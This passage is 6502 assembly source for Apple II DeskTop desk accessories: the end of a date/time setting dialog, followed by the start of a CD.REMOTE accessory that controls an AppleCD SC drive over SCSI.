ASSERT_RECORD_TABLE_SIZE month_name_table, 12, 3
str_am: PASCAL_STRING "AM"
str_pm: PASCAL_STRING "PM"
.proc PrepareYearString
lda year
jsr NumberToASCII
sta year_string+1
stx year_string+2
rts
.endproc ; PrepareYearString
.proc PrepareHourString
lda hour
bit clock_24hours
IF_NC
IF_A_EQ #0
lda #12
END_IF
IF_A_GE #13
sbc #12
END_IF
END_IF
jsr NumberToASCII
bit clock_24hours
IF_NC
IF_A_EQ #'0'
lda #' '
END_IF
END_IF
sta hour_string+1
stx hour_string+2
rts
.endproc ; PrepareHourString
.proc PrepareMinuteString
lda minute
jsr NumberToASCII
sta minute_string+1
stx minute_string+2
rts
.endproc ; PrepareMinuteString
;;; ============================================================
;;; Tear down the window and exit
;;; Used in Aux to store result during tear-down
;;; bit7 = time changed
;;; bit6 = options changed
dialog_result: .byte 0
.proc Destroy
MGTK_CALL MGTK::CloseWindow, closewindow_params
;; Dates in DeskTop list views may be invalidated, so if date
;; or settings changed, force a full redraw to avoid artifacts.
lda dialog_result
IF_NOT_ZERO
MGTK_CALL MGTK::RedrawDeskTop
END_IF
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
rts
.endproc ; Destroy
;;; ============================================================
;;; Figure out which button was hit (if any).
;;; Index returned in X.
.proc FindHitTarget
ldx #1
copy16 #first_hit_rect, test_addr
DO
txa
pha
MGTK_CALL MGTK::InRect, SELF_MODIFIED, test_addr
bne done
add16_8 test_addr, #.sizeof(MGTK::Rect)
pla
tax
inx
WHILE_X_NE #kNumHitRects+1
ldx #0
rts
done: pla
tax
rts
.endproc ; FindHitTarget
;;; ============================================================
;;; Params for the display
pensize_normal: .byte 1, 1
pensize_frame: .byte kBorderDX, kBorderDY
DEFINE_RECT_FRAME frame_rect, kDialogWidth, kDialogHeight
label_uparrow:
PASCAL_STRING kGlyphUpArrow
label_downarrow:
PASCAL_STRING kGlyphDownArrow
;;; ============================================================
;;; Render the window contents
.proc DrawWindow
MGTK_CALL MGTK::SetPort, winfo::port
MGTK_CALL MGTK::SetPenSize, pensize_frame
MGTK_CALL MGTK::FrameRect, frame_rect
MGTK_CALL MGTK::SetPenSize, pensize_normal
MGTK_CALL MGTK::FrameRect, date_rect
MGTK_CALL MGTK::FrameRect, time_rect
MGTK_CALL MGTK::PaintBitsHC, date_bitmap_params
MGTK_CALL MGTK::PaintBitsHC, time_bitmap_params
MGTK_CALL MGTK::MoveTo, date_sep1_pos
param_call DrawString, str_date_separator
MGTK_CALL MGTK::MoveTo, date_sep2_pos
param_call DrawString, str_date_separator
MGTK_CALL MGTK::MoveTo, time_sep_pos
param_call DrawString, str_time_separator
MGTK_CALL MGTK::SetPenMode, penXOR
;; If there is a system clock, only draw the OK button.
ldx clock_flag
IF_EQ
MGTK_CALL MGTK::MoveTo, label_uparrow_pos
param_call DrawString, label_uparrow
MGTK_CALL MGTK::FrameRect, up_arrow_rect
MGTK_CALL MGTK::MoveTo, label_downarrow_pos
param_call DrawString, label_downarrow
MGTK_CALL MGTK::FrameRect, down_arrow_rect
END_IF
jsr PrepareDayString
jsr PrepareMonthString
jsr PrepareYearString
jsr PrepareHourString
jsr PrepareMinuteString
lda #Field::day
jsr DrawField
lda #Field::month
jsr DrawField
lda #Field::year
jsr DrawField
lda #Field::hour
jsr DrawField
lda #Field::minute
jsr DrawField
lda #Field::period
jsr DrawField
;; If there is a system clock, don't draw the highlight.
ldx clock_flag
IF_EQ
lda #Field::day
jsr SelectField
END_IF
;; --------------------------------------------------
BTK_CALL BTK::Draw, ok_button
BTK_CALL BTK::RadioDraw, clock_12hour_button
BTK_CALL BTK::RadioDraw, clock_24hour_button
FALL_THROUGH_TO UpdateOptionButtons
.endproc ; DrawWindow
.proc UpdateOptionButtons
lda clock_24hours
cmp #0
jsr ZToButtonState
sta clock_12hour_button::state
BTK_CALL BTK::RadioUpdate, clock_12hour_button
lda clock_24hours
cmp #$80
jsr ZToButtonState
sta clock_24hour_button::state
BTK_CALL BTK::RadioUpdate, clock_24hour_button
rts
.endproc ; UpdateOptionButtons
.proc ZToButtonState
IF_ZC
lda #BTK::kButtonStateNormal
rts
END_IF
lda #BTK::kButtonStateChecked
rts
.endproc ; ZToButtonState
;;; A = field
.proc DrawField
pha
IF_A_EQ selected_field
MGTK_CALL MGTK::SetTextBG, settextbg_black_params
ELSE
MGTK_CALL MGTK::SetTextBG, settextbg_white_params
END_IF
pla
cmp #Field::day
beq DrawDay
cmp #Field::month
beq DrawMonth
cmp #Field::year
beq DrawYear
cmp #Field::hour
beq DrawHour
cmp #Field::minute
beq DrawMinute
cmp #Field::period
beq DrawPeriod
rts
.proc DrawDay
MGTK_CALL MGTK::MoveTo, day_pos
param_jump DrawString, day_string
.endproc ; DrawDay
.proc DrawMonth
MGTK_CALL MGTK::MoveTo, month_pos
param_call DrawString, spaces_string ; variable width, so clear first
MGTK_CALL MGTK::MoveTo, month_pos
param_jump DrawString, month_string
.endproc ; DrawMonth
.proc DrawYear
MGTK_CALL MGTK::MoveTo, year_pos
param_jump DrawString, year_string
.endproc ; DrawYear
.proc DrawHour
MGTK_CALL MGTK::MoveTo, hour_pos
param_jump DrawString, hour_string
.endproc ; DrawHour
.proc DrawMinute
MGTK_CALL MGTK::MoveTo, minute_pos
param_jump DrawString, minute_string
.endproc ; DrawMinute
.proc DrawPeriod
MGTK_CALL MGTK::MoveTo, period_pos
bit clock_24hours
IF_NS
param_call DrawString, spaces_string
ELSE
lda hour
IF_A_LT #12
param_jump DrawString, str_am
ELSE
param_jump DrawString, str_pm
END_IF
END_IF
rts
.endproc ; DrawPeriod
.endproc ; DrawField
;;; ============================================================
.proc InvertUp
MGTK_CALL MGTK::InflateRect, shrink
MGTK_CALL MGTK::PaintRect, up_arrow_rect
MGTK_CALL MGTK::InflateRect, grow
rts
.params shrink
.addr up_arrow_rect
.word AS_WORD(-1)
.word AS_WORD(-1)
.endparams
.params grow
.addr up_arrow_rect
.word 1
.word 1
.endparams
.endproc ; InvertUp
.proc InvertDown
MGTK_CALL MGTK::InflateRect, shrink
MGTK_CALL MGTK::PaintRect, down_arrow_rect
MGTK_CALL MGTK::InflateRect, grow
rts
.params shrink
.addr down_arrow_rect
.word AS_WORD(-1), AS_WORD(-1)
.endparams
.params grow
.addr down_arrow_rect
.word 1, 1
.endparams
.endproc ; InvertDown
;;; ============================================================
;;; Selected a field (dehighlight the old one, highlight the new one)
;;; Input: A = new field to select
.proc SelectField
pha
MGTK_CALL MGTK::SetPenMode, penXOR
lda selected_field ; invert old
jsr invert
pla ; update to new
sta selected_field
FALL_THROUGH_TO invert
invert: cmp #Field::day
beq fill_day
cmp #Field::month
beq fill_month
cmp #Field::year
beq fill_year
cmp #Field::hour
beq fill_hour
cmp #Field::minute
beq fill_minute
cmp #Field::period
beq fill_period
rts
fill_day:
MGTK_CALL MGTK::PaintRect, day_rect
rts
fill_month:
MGTK_CALL MGTK::PaintRect, month_rect
rts
fill_year:
MGTK_CALL MGTK::PaintRect, year_rect
rts
fill_hour:
MGTK_CALL MGTK::PaintRect, hour_rect
rts
fill_minute:
MGTK_CALL MGTK::PaintRect, minute_rect
rts
fill_period:
MGTK_CALL MGTK::PaintRect, period_rect
rts
.endproc ; SelectField
;;; ============================================================
;;; Delay
.proc Delay
lda #255
sec
DO
pha
DO
sbc #1
WHILE_NOT_ZERO
pla
sbc #1
WHILE_NOT_ZERO
rts
.endproc ; Delay
;;; ============================================================
;;; Convert number to two ASCII digits (in A, X)
.proc NumberToASCII
ldy #0
loop:
IF_A_GE #10
sec
sbc #10
iny
jmp loop
END_IF
ora #'0'
tax
tya
ora #'0'
rts
.endproc ; NumberToASCII
;;; ============================================================
;;; Update the `max_table` for the max day given the month/year.
.proc SetMonthLength
;; Month lengths
ldx month
ldy month_length_table-1,x
IF_X_EQ #2 ; February?
lda year ; Handle leap years; interpreted as either
and #3 ; (1900+Y) or (Y<40 ? 2000+Y : 1900+Y) - which is
IF_ZERO ; correct for 1901 through 2199, so good enough.
iny
END_IF
END_IF
sty max_table + Field::day - 1
rts
.endproc ; SetMonthLength
;;; ============================================================
.proc HandleOptionClick
sta clock_24hours
ldx #DeskTopSettings::clock_24hours
jsr WriteSetting
jsr UpdateOptionButtons
;; Set dirty bit
lda dialog_result
ora #$40 ; settings changed
sta dialog_result
lda selected_field
IF_A_EQ #Field::period
lda #Field::minute
jsr SelectField
END_IF
lda #Field::period
jsr DrawField
jsr PrepareHourString
lda #Field::hour
jsr DrawField
rts ; back to `InputLoop`
.endproc ; HandleOptionClick
;;; ============================================================
;;; Assert: Called from Aux
.proc GetDateFromProDOS
copy16 #DATELO, STARTLO
copy16 #DATELO+.sizeof(DateTime)-1, ENDLO
copy16 #auxdt, DESTINATIONLO
sec ; main>aux
jmp AUXMOVE
.endproc ; GetDateFromProDOS
;;; ============================================================
;;; Assert: Called from Aux
.proc UpdateProDOS
;; Pack the date bytes
lda month
asl a
asl a
asl a
asl a
asl a
ora day
sta auxdt::DATELO
lda year
rol a
sta auxdt::DATEHI
copy8 minute, auxdt::TIMELO
copy8 hour, auxdt::TIMEHI
;; Get the current ProDOS date/time
copy16 #DATELO, STARTLO
copy16 #DATELO+.sizeof(DateTime)-1, ENDLO
copy16 #current, DESTINATIONLO
sec ; main>aux
jsr AUXMOVE
;; Is it different?
ecmp16 current+DateTime::datelo, auxdt::DATELO
bne update
ecmp16 current+DateTime::timelo, auxdt::TIMELO
beq done
update:
;; Update the ProDOS date/time
copy16 #auxdt, STARTLO
copy16 #auxdt+.sizeof(DateTime)-1, ENDLO
copy16 #DATELO, DESTINATIONLO
clc ; aux>main
jsr AUXMOVE
;; Set dirty bit
lda dialog_result
ora #$80 ; date changed
sta dialog_result
done: rts
current:
.tag DateTime
.endproc ; UpdateProDOS
;;; ============================================================
.include "../lib/uppercase.s"
.include "../lib/drawstring.s"
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
;;; ============================================================
.scope main
lda MACHID
and #kMachIDHasClock
tay ; A,X are trashed by macro
JSR_TO_AUX aux::RunDA
sta result
bit result
IF_NS
jsr SaveDate
END_IF
bit result
IF_VS
jsr SaveSettings
END_IF
rts
result: .byte 0
.endscope ; main
;;; ============================================================
.proc save_date
filename:
PASCAL_STRING kFilenameLauncher
filename_buffer:
.res ::kPathBufferSize
DEFINE_OPEN_PARAMS open_params, filename, DA_IO_BUFFER
DEFINE_SET_MARK_PARAMS set_mark_params, kLauncherDateOffset
DEFINE_READWRITE_PARAMS write_params, write_buffer, sizeof_write_buffer
DEFINE_CLOSE_PARAMS close_params
write_buffer:
.tag DateTime
sizeof_write_buffer = * - write_buffer
.proc SaveSettings
;; ProDOS GP has the updated data, copy somewhere usable.
COPY_STRUCT DateTime, DATELO, write_buffer
;; Write to desktop current prefix
ldax #filename
stax open_params::pathname
jsr DoWrite
bcs done ; failed and canceled
;; Write to the original file location, if necessary
jsr JUMP_TABLE_GET_RAMCARD_FLAG
beq done
ldax #filename_buffer
stax open_params::pathname
jsr JUMP_TABLE_GET_ORIG_PREFIX
jsr AppendFilename
jsr DoWrite
done: rts
.endproc ; SaveSettings
.proc AppendFilename
;; Append filename to buffer
inc filename_buffer ; Add '/' separator
ldx filename_buffer
copy8 #'/', filename_buffer,x
ldx #0 ; Append filename
ldy filename_buffer
DO
inx
iny
copy8 filename,x, filename_buffer,y
WHILE_X_NE filename
sty filename_buffer
rts
.endproc ; AppendFilename
.proc DoWrite
;; First time - ask if we should even try.
copy8 #kErrSaveChanges, message
retry:
JUMP_TABLE_MLI_CALL OPEN, open_params
bcs error
lda open_params::ref_num
sta set_mark_params::ref_num
sta write_params::ref_num
sta close_params::ref_num
JUMP_TABLE_MLI_CALL SET_MARK, set_mark_params ; seek
bcs close
JUMP_TABLE_MLI_CALL WRITE, write_params
close: php ; preserve result
JUMP_TABLE_MLI_CALL CLOSE, close_params
plp
bcc ret ; succeeded
error:
message := *+1
lda #SELF_MODIFIED_BYTE
jsr JUMP_TABLE_SHOW_ALERT
;; Second time - prompt to insert.
ldx #kErrInsertSystemDisk
stx message
cmp #kAlertResultOK
beq retry
sec ; failed
ret: rts
second_try_flag:
.byte 0
.endproc ; DoWrite
.endproc ; save_date
SaveDate := save_date::SaveSettings
;;; ============================================================
.include "../lib/save_settings.s"
.assert * < write_buffer, error, .sprintf("DA too big (at $%X)", *)
;;; ============================================================
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 69,785
|
src/desk.acc/cd.remote.s
|
;;; ============================================================
;;; CD.REMOTE - Desk Accessory
;;;
;;; Control an AppleCD SC via SCSI card
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "cd.remote.res"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
.include "../inc/smartport.inc"
.define FAKE_HARDWARE 0
;;; ============================================================
;;; Memory map
;;;
;;; Main Aux
;;; : : : :
;;; | | | |
;;; | DHR | | DHR |
;;; $2000 +-------------+ +-------------+
;;; | IO Buffer/ | | |
;;; | SP Data Buf | | |
;;; $1C00 +-------------+ | |
;;; | | | |
;;; | | | |
;;; | (unused) | | (unused) |
;;; ~$1800 +-------------+ +-------------+
;;; | | | |
;;; | | | |
;;; | app logic | | |
;;; | cd control | | bitmaps |
;;; $800 +-------------+ +-------------+
;;; : : : :
;;;
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
kDAWindowId = $80
kDAWidth = 271
kDAHeight = 57
kDALeft = (kScreenWidth - kDAWidth)/2
kDATop = (kScreenHeight - kMenuBarHeight - kDAHeight)/2 + kMenuBarHeight
str_title:
PASCAL_STRING res_string_window_title
.params winfo
window_id: .byte kDAWindowId
options: .byte MGTK::Option::go_away_box
title: .addr str_title
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 32
hthumbpos: .byte 0
vthumbmax: .byte 32
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word kDAWidth
mincontheight: .word kDAHeight
maxcontwidth: .word kDAWidth
maxcontheight: .word kDAHeight
port:
DEFINE_POINT viewloc, kDALeft, kDATop
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDAWidth, kDAHeight
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::pencopy
textback: .byte MGTK::textbg_black
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
;;; ============================================================
penXOR: .byte MGTK::penXOR
pencopy: .byte MGTK::pencopy
notpencopy: .byte MGTK::notpencopy
;;; ============================================================
;;; [track min:sec] (logo?)
;;; stop play pause eject
;;; |<< >>| << >> loop shuffle
kCDButtonW = 40
kCDButtonH = 10
kColW = 60
kRow1 = 4
kRow2 = 27
kRow3 = 42
kCol1 = 10
kCol2 = kCol1 + kCDButtonW + 10
kCol3 = kCol2 + kCDButtonW + 10
kCol4 = kCol3 + kCDButtonW + 10
kCol5 = kCol4 + kCDButtonW + 10 + 10
kCol6 = kCol5 + kCDButtonW + 10
DEFINE_RECT_SZ display_rect, kCol1, kRow1, 190, 17
.macro DEFINE_CD_BUTTON name, xpos, ypos
DEFINE_RECT_SZ .ident(.sprintf("%s_button_rect", .string(name))), xpos, ypos, kCDButtonW, kCDButtonH
.params .ident(.sprintf("%s_bitmap_params", .string(name)))
DEFINE_POINT viewloc, xpos + 12, ypos + 2
mapbits: .addr .ident(.sprintf("%s_bitmap", .string(name)))
mapwidth: .byte 3
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, 17, 6
REF_MAPINFO_MEMBERS
.endparams
.endmacro
DEFINE_CD_BUTTON stop, kCol1, kRow2
DEFINE_CD_BUTTON play, kCol2, kRow2
DEFINE_CD_BUTTON pause, kCol3, kRow2
DEFINE_CD_BUTTON eject, kCol4, kRow2
DEFINE_CD_BUTTON prev, kCol1, kRow3
DEFINE_CD_BUTTON next, kCol2, kRow3
DEFINE_CD_BUTTON back, kCol3, kRow3
DEFINE_CD_BUTTON fwd, kCol4, kRow3
DEFINE_CD_BUTTON loop, kCol5, kRow2
DEFINE_CD_BUTTON shuffle, kCol5, kRow3
;;; ============================================================
stop_bitmap:
PIXELS "..##############.."
PIXELS "..##############.."
PIXELS "..##############.."
PIXELS "..##############.."
PIXELS "..##############.."
PIXELS "..##############.."
PIXELS "..##############.."
pause_bitmap:
PIXELS "..#####....#####.."
PIXELS "..#####....#####.."
PIXELS "..#####....#####.."
PIXELS "..#####....#####.."
PIXELS "..#####....#####.."
PIXELS "..#####....#####.."
PIXELS "..#####....#####.."
play_bitmap:
PIXELS "....##............"
PIXELS "....#####........."
PIXELS "....########......"
PIXELS "....##########...."
PIXELS "....########......"
PIXELS "....#####........."
PIXELS "....##............"
fwd_bitmap:
PIXELS ".##......##......."
PIXELS ".####....####....."
PIXELS ".######..######..."
PIXELS ".################."
PIXELS ".######..######..."
PIXELS ".####....####....."
PIXELS ".##......##......."
next_bitmap:
PIXELS "##......##......##"
PIXELS "####....####....##"
PIXELS "######..######..##"
PIXELS "##################"
PIXELS "######..######..##"
PIXELS "####....####....##"
PIXELS "##......##......##"
back_bitmap:
PIXELS ".......##......##."
PIXELS ".....####....####."
PIXELS "...######..######."
PIXELS ".################."
PIXELS "...######..######."
PIXELS ".....####....####."
PIXELS ".......##......##."
prev_bitmap:
PIXELS "##......##......##"
PIXELS "##....####....####"
PIXELS "##..######..######"
PIXELS "##################"
PIXELS "##..######..######"
PIXELS "##....####....####"
PIXELS "##......##......##"
eject_bitmap:
PIXELS "........##........"
PIXELS "......######......"
PIXELS "....##########...."
PIXELS "..##############.."
PIXELS ".................."
PIXELS "..##############.."
PIXELS "..##############.."
shuffle_bitmap:
PIXELS "..............##.."
PIXELS "#####......#######"
PIXELS ".....##..##...##.."
PIXELS ".......##........."
PIXELS ".....##..##...##.."
PIXELS "#####......#######"
PIXELS "..............##.."
loop_bitmap:
PIXELS "...........##....."
PIXELS ".##############..."
PIXELS "##.........##...##"
PIXELS "##..............##"
PIXELS "##...##.........##"
PIXELS "...##############."
PIXELS ".....##..........."
;;; ============================================================
logo_bitmap:
PIXELS ".......#####..###.####.##.##.###..#..###.###."
PIXELS ".......#...#..#...#..#.#.#.#.###.###.#....#.."
PIXELS ".......#...#..###.####.#...#.#...#.#.###..#.."
PIXELS ".......#...#................................."
PIXELS ".#######...#..#####...#########...##########."
PIXELS "#..........#..#...#..#........#..#..........#"
PIXELS "#...####...#..#...#..#........#..#...####...#"
PIXELS "#...#..#...#..#...#..#...#####...#...#...####"
PIXELS "#...#..#...#..#...#..#........#..#...#......."
PIXELS "#...#..#...#..#...#..#........#..#...#......."
PIXELS "#...#..#...#..#...#...#####...#..#...#...####"
PIXELS "#...####...#..#...#..#........#..#...####...#"
PIXELS "#..........#..#...#..#........#..#..........#"
PIXELS ".###########..#####..#########....##########."
PIXELS "............................................."
PIXELS "###..#.##...#.###..#..#.....#..#.#.###..#.###"
PIXELS "#..#.#.#..#.#..#..###.#....###.#.#.#..#.#.#.#"
PIXELS "###..#.####.#..#..#.#.###..#.#.###.###..#.###"
.params logo_bitmap_params
DEFINE_POINT viewloc, kCol5-3, kRow1
mapbits: .addr logo_bitmap
mapwidth: .byte 7
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, 44, 17
REF_MAPINFO_MEMBERS
.endparams
;;; ============================================================
DEFINE_POINT pos_track, kCol1 + 20, kRow1 + 13
DEFINE_POINT pos_time, kCol4-8, kRow1 + 13
;;; ============================================================
ep_start := *
.include "../lib/event_params.s"
.params trackgoaway_params
clicked: .byte 0
.endparams
ep_size = * - ep_start
;;; ============================================================
.params getwinport_params
window_id: .byte kDAWindowId
port: .addr grafport
.endparams
grafport: .tag MGTK::GrafPort
tmp_rect: .tag MGTK::Rect
;;; ============================================================
buf_string := *
.assert buf_string + 256 < $2000, error, "DA too large"
;;; ============================================================
DA_END_AUX_SEGMENT
DA_START_MAIN_SEGMENT
;;; ============================================================
;;; ============================================================
jmp ::cdremote::MAIN
;;; ============================================================
.proc Init
JUMP_TABLE_MGTK_CALL MGTK::OpenWindow, aux::winfo
jsr DrawWindow
JUMP_TABLE_MGTK_CALL MGTK::FlushEvents
rts
.endproc ; Init
.proc Exit
JUMP_TABLE_MGTK_CALL MGTK::CloseWindow, aux::winfo
jmp JUMP_TABLE_CLEAR_UPDATES
.endproc ; Exit
;;; ============================================================
ep_start := *
.include "../lib/event_params.s"
.params trackgoaway_params
clicked: .byte 0
.endparams
ep_size = * - ep_start
.assert aux::ep_size = ep_size, error, "event params main/aux mismatch"
.proc CopyEventDataToMain
copy16 #aux::event_params, STARTLO
copy16 #aux::event_params+ep_size-1, ENDLO
copy16 #event_params, DESTINATIONLO
clc ; aux>main
jmp AUXMOVE
.endproc ; CopyEventDataToMain
.proc CopyEventDataToAux
copy16 #event_params, STARTLO
copy16 #event_params+ep_size-1, ENDLO
copy16 #aux::event_params, DESTINATIONLO
sec ; main>aux
jmp AUXMOVE
.endproc ; CopyEventDataToAux
;;; ============================================================
;;; Handle `EventKind::button_down`.
;;; Output: N=1 if event was not a button click
;;; N=0 if event was a button click; in this case,
;;; `event_params::key` and `event_params::modifier` will
;;; be set to the keyboard equivalent.
.proc HandleDown
JUMP_TABLE_MGTK_CALL MGTK::FindWindow, aux::findwindow_params
jsr CopyEventDataToMain
lda findwindow_params::window_id
IF_A_EQ #aux::kDAWindowId
lda findwindow_params::which_area
cmp #MGTK::Area::close_box
beq HandleClose
cmp #MGTK::Area::dragbar
beq HandleDrag
cmp #MGTK::Area::content
beq HandleClick
END_IF
lda #$FF ; not a button
rts
.endproc ; HandleDown
;;; ============================================================
.proc HandleClose
JUMP_TABLE_MGTK_CALL MGTK::TrackGoAway, aux::trackgoaway_params
jsr CopyEventDataToMain
lda trackgoaway_params::clicked
IF_NE
pla ; not returning to the caller
pla
jmp Exit
END_IF
lda #$FF ; not a button
rts
.endproc ; HandleClose
;;; ============================================================
.proc HandleDrag
copy8 #aux::kDAWindowId, dragwindow_params::window_id
jsr CopyEventDataToAux
JUMP_TABLE_MGTK_CALL MGTK::DragWindow, aux::dragwindow_params
jsr CopyEventDataToMain
bit dragwindow_params::moved
bpl skip
;; Draw DeskTop's windows and icons.
jsr JUMP_TABLE_CLEAR_UPDATES
;; Draw DA's window
jsr DrawWindow
skip: lda #$FF ; not a button
rts
.endproc ; HandleDrag
;;; ============================================================
.proc HandleClick
copy8 #aux::kDAWindowId, screentowindow_params::window_id
jsr CopyEventDataToAux
JUMP_TABLE_MGTK_CALL MGTK::ScreenToWindow, aux::screentowindow_params
JUMP_TABLE_MGTK_CALL MGTK::MoveTo, aux::screentowindow_params::window
;; ----------------------------------------
copy8 #0, event_params::modifiers
JUMP_TABLE_MGTK_CALL MGTK::InRect, aux::play_button_rect
IF_NOT_ZERO
lda #'P'
bne set_key ; always
END_IF
JUMP_TABLE_MGTK_CALL MGTK::InRect, aux::stop_button_rect
IF_NOT_ZERO
lda #'S'
bne set_key ; always
END_IF
JUMP_TABLE_MGTK_CALL MGTK::InRect, aux::pause_button_rect
IF_NOT_ZERO
lda #' '
bne set_key ; always
END_IF
JUMP_TABLE_MGTK_CALL MGTK::InRect, aux::eject_button_rect
IF_NOT_ZERO
lda #'E'
bne set_key ; always
END_IF
JUMP_TABLE_MGTK_CALL MGTK::InRect, aux::loop_button_rect
IF_NOT_ZERO
lda #'L'
bne set_key ; always
END_IF
JUMP_TABLE_MGTK_CALL MGTK::InRect, aux::shuffle_button_rect
IF_NOT_ZERO
lda #'R'
bne set_key ; always
END_IF
JUMP_TABLE_MGTK_CALL MGTK::InRect, aux::prev_button_rect
IF_NOT_ZERO
lda #CHAR_LEFT
bne set_key ; always
END_IF
JUMP_TABLE_MGTK_CALL MGTK::InRect, aux::next_button_rect
IF_NOT_ZERO
lda #CHAR_RIGHT
bne set_key ; always
END_IF
JUMP_TABLE_MGTK_CALL MGTK::InRect, aux::back_button_rect
IF_NOT_ZERO
copy8 #1, event_params::modifiers
lda #CHAR_LEFT
bne set_key ; always
END_IF
JUMP_TABLE_MGTK_CALL MGTK::InRect, aux::fwd_button_rect
IF_NOT_ZERO
copy8 #1, event_params::modifiers
lda #CHAR_RIGHT
bne set_key ; always
END_IF
lda #$FF ; not a button
rts
set_key:
sta event_params::key
rts
.endproc ; HandleClick
;;; ============================================================
.proc DrawWindow
;; Defer if content area is not visible
JUMP_TABLE_MGTK_CALL MGTK::GetWinPort, aux::getwinport_params
RTS_IF_NOT_ZERO
JUMP_TABLE_MGTK_CALL MGTK::SetPort, aux::grafport
JUMP_TABLE_MGTK_CALL MGTK::HideCursor
JUMP_TABLE_MGTK_CALL MGTK::SetPenMode, aux::notpencopy
JUMP_TABLE_MGTK_CALL MGTK::PaintRect, aux::winfo::maprect
JUMP_TABLE_MGTK_CALL MGTK::SetPenMode, aux::pencopy
JUMP_TABLE_MGTK_CALL MGTK::FrameRect, aux::display_rect
;; --------------------------------------------------
jsr DrawTrack
jsr DrawTime
;; --------------------------------------------------
JUMP_TABLE_MGTK_CALL MGTK::SetPenMode, aux::penXOR
.macro DRAW_CD_BUTTON name, flag
JUMP_TABLE_MGTK_CALL MGTK::FrameRect, aux::.ident(.sprintf("%s_button_rect", .string(name)))
JUMP_TABLE_MGTK_CALL MGTK::PaintBitsHC, aux::.ident(.sprintf("%s_bitmap_params", .string(name)))
.if .paramcount > 1
bit ::cdremote::flag
IF_NS
param_call InvertButton, aux::.ident(.sprintf("%s_button_rect", .string(name)))
END_IF
.endif
.endmacro
DRAW_CD_BUTTON stop, StopButtonState
DRAW_CD_BUTTON play, PlayButtonState
DRAW_CD_BUTTON pause, PauseButtonState
DRAW_CD_BUTTON eject
DRAW_CD_BUTTON prev
DRAW_CD_BUTTON next
DRAW_CD_BUTTON back
DRAW_CD_BUTTON fwd
DRAW_CD_BUTTON loop, LoopButtonState
DRAW_CD_BUTTON shuffle, RandomButtonState
;; --------------------------------------------------
JUMP_TABLE_MGTK_CALL MGTK::PaintBitsHC, aux::logo_bitmap_params
;; --------------------------------------------------
JUMP_TABLE_MGTK_CALL MGTK::ShowCursor
rts
.endproc ; DrawWindow
;;; ============================================================
str_track:
PASCAL_STRING res_string_label_track
str_track_num:
PASCAL_STRING "## "
str_time:
PASCAL_STRING "##:## "
;;; Caller is responsible for setting port.
.proc DrawTrack
JUMP_TABLE_MGTK_CALL MGTK::MoveTo, aux::pos_track
param_call DrawString, str_track
param_jump DrawString, str_track_num
.endproc ; DrawTrack
;;; Caller is responsible for setting port.
.proc DrawTime
JUMP_TABLE_MGTK_CALL MGTK::MoveTo, aux::pos_time
param_jump DrawString, str_time
.endproc ; DrawTime
;;; ============================================================
;;; Copies string main>aux before drawing
;;; Input: A,X = address of length-prefixed string
.proc DrawString
params := $06
textptr := $06
textlen := $08
stax textptr
stax STARTLO
ldy #0
lda (textptr),y
beq done
sta textlen
copy16 #aux::buf_string+1, textptr
copy16 #aux::buf_string, DESTINATIONLO
add16_8 STARTLO, textlen, ENDLO
sec ; main>aux
jsr AUXMOVE
JUMP_TABLE_MGTK_CALL MGTK::DrawText, params
done: rts
.endproc ; DrawString
;;; ============================================================
;;; Inputs: A,X = rect address
;;; Assert: Called from Main
;;; Trashes: $06/$07
.proc InvertButton
ptr := $06
stax ptr
JUMP_TABLE_MGTK_CALL MGTK::GetWinPort, aux::getwinport_params
IF_ZERO
JUMP_TABLE_MGTK_CALL MGTK::SetPort, aux::grafport
;; Copy rectangle
copy16 ptr, STARTLO
add16_8 STARTLO, #.sizeof(MGTK::Rect)-1, ENDLO
copy16 #rect, DESTINATIONLO
clc ; aux>main
jsr AUXMOVE
;; Deflate
inc16 rect+MGTK::Rect::x1
inc16 rect+MGTK::Rect::y1
dec16 rect+MGTK::Rect::x2
dec16 rect+MGTK::Rect::y2
;; Copy rectangle back to aux
copy16 #rect, STARTLO
copy16 #rect+.sizeof(MGTK::Rect)-1, ENDLO
copy16 #aux::tmp_rect, DESTINATIONLO
sec ; main>aux
jsr AUXMOVE
;; Invert it
JUMP_TABLE_MGTK_CALL MGTK::SetPenMode, aux::penXOR
JUMP_TABLE_MGTK_CALL MGTK::PaintRect, aux::tmp_rect
END_IF
rts
rect: .tag MGTK::Rect
.endproc ; InvertButton
;;; ============================================================
.scope cdremote
ZP1 := $19 ; used when probing for hardware
PlayedListPtr := $1F
MAIN: ; "Null" out T/M/S values
lda #$aa
sta BCDRelTrack
sta BCDRelMinutes
sta BCDRelSeconds
; Locate an Apple SCSI card and CDSC/CDSC+ drive
jsr FindHardware
.if !FAKE_HARDWARE
IF_CS
lda #ERR_DEVICE_NOT_CONNECTED
jmp JUMP_TABLE_SHOW_ALERT
END_IF
.else ; FAKE_HARDWARE
;; lda #$38 ; SEC
lda #$18 ; CLC
sta SPCallVector
lda #$60 ; RTS
sta SPCallVector+1
.endif ; FAKE_HARDWARE
;; Application setup
jsr ::Init ; Open/draw DA window
jsr InitDriveAndDisc
jsr InitPlayedList
; Do all the things!
jsr MainLoop
EXIT:
jmp ::Exit
;;; ============================================================
.proc InitDriveAndDisc
;; Is drive online?
jsr StatusDrive
bcs ExitInitDriveDisc
;; Read the TOC for Track numbers - TOC VALUES ARE BCD!!
jsr C27ReadTOC
sed
clc
lda BCDLastTrackTOC
sbc BCDFirstTrackTOC
adc #$01
